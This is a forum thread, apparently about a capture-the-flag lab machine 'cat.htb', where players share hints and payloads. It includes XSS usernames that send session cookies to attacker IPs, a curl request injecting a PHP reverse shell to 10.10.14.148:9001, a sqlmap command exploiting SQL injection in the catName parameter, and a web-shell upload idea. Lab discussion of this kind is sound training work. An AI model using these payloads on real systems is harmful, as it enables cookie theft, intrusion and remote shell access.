[jonklem]

you have to submit a cat for registration and then when the admin views, you'll get a ping back. I used this username: <script>fetch("http://10.10.14.148:8000/?cookie="+btoa(document.cookie))</script>

[samuelballsiu1]

Anyone got any further after logging as the user "axel"?

[0xbeef]

<script>document.location='<http://10.10.x.x/?c='+document.cookie;</script> Xss in your username, you need to send request in the contest with random data

I registered user with the name
<script>document.location='http://10.10.14.14/?c='+document.cookie;</script>
and common password
and then was able to login as this user and contest valid cat.

so if no callback hence something wrong with the instance, or I missed some step?

There is a clean up script, do it fast

[jonklem]

There's an angle with the accept_cat.php script.

There's an unsafe query in there, but also it lets you put a cat name in and somehow on winner.php it's including a file from a directory that's precompiled somewhere else.

I've tried:
curl -X POST "http://cat.htb/accept_cat.php" -H "Cookie: PHPSESSID=3jopd0d3o53l1eu70kfm6aslu2" -d "catId=6969" -d 'catName=%3C%3Fphp%20%24sock%3Dfsockopen%28%2210.10.14.148%22%2C9001%29%3Bexec%28%22%2Fbin%2Fbash%20%3C%263%20%3E%263%202%3E%263%22%29%3B%20%3F%3E'


to no avail.

[Steward]

reset works well. after login as admin we can accept/reject cats other players send.
but nothing more. so the next step is sql injection, it seems accept_cat.php is for that , now it should work because we have valid cookies

[yokishnakitash]

there is sqli in the accept cat action, parameter catName
however sqlmap cant retrieve database information

[jsvensson]

there is sqli in the accept cat action, parameter catName
however sqlmap cant retrieve database information

Can't retrive - it doesn't have SELECT in code but INSERT

[FTCB123]

The file upload checks look weak, so phpshell with magic header and a crafted name, then sqli on admin.php to leak filename -> shell?

[yokishnakitash]

there is sqli in the accept cat action, parameter catName
however sqlmap cant retrieve database information

Can't retrive - it doesn't have SELECT in code but INSERT

nah it just worked for some reason

sqlmap -r accept-cat-sqli-req -p catName --dbms sqlite --level 5 --risk 3 --technique=BEST --tables

---

there is sqli in the accept cat action, parameter catName
however sqlmap cant retrieve database information

Can't retrive - it doesn't have SELECT in code but INSERT

also u can use stacked queries with some blind payloads if u want to exploit the manual way

[jsvensson]

there is sqli in the accept cat action, parameter catName
however sqlmap cant retrieve database information

Can't retrive - it doesn't have SELECT in code but INSERT

nah it just worked for some reason

sqlmap -r accept-cat-sqli-req -p catName --dbms sqlite --level 5 --risk 3 --technique=BEST --tables

---

there is sqli in the accept cat action, parameter catName
however sqlmap cant retrieve database information

Can't retrive - it doesn't have SELECT in code but INSERT

also u can use stacked queries with some blind payloads if u want to exploit the manual way

thanks good to know